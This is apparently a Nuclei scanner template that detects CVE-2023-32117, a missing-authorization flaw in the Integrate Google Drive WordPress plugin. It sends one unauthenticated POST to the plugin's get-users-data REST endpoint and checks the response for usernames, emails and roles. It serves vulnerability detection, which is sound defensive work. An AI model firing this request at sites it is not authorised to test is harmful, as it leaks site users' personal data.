id: CVE-2023-32117

info:
  name: Integrate Google Drive <= 1.1.99 - Missing Authorization via REST API Endpoints
  author: DhiyaneshDK
  severity: high
  description: |
    The Integrate Google Drive plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several REST API endpoints in versions up to, and including, 1.1.99. This makes it possible for unauthenticated attackers to perform a wide variety of operations, such as moving files, creating folders, copying details, and much more.
  impact: |
    Unauthenticated attackers can access and manipulate sensitive data in Google Drive
  remediation: Fixed in 1.2.0
  reference:
    - https://github.com/RandomRobbieBF/CVE-2023-32117
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integrate-google-drive/integrate-google-drive-1199-missing-authorization-via-rest-api-endpoints
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2023-32117
    epss-score: 0.06276
    epss-percentile: 0.92675
    cpe: cpe:2.3:a:softlabbd:integrate_google_drive:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/integrate-google-drive/"
    product: integrate_google_drive
    vendor: softlabbd
  tags: cve,cve2023,wordpress,wpscan,wp-plugin,wp,integrate-google-drive,vuln,vkev

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-json/igd/v1/get-users-data"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"name":'
          - '"email":'
          - '"role":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cd07535daed746c0f254407b52aef7c5a69b966e56e5cea8a1419bf39f7dff1a022100eeca6a5bdd9e980a89ed9feb0b15fa539db73d5b995e2fc784f90f7ae8a6c1b0:922c64590222798bb761d5b6d8e72950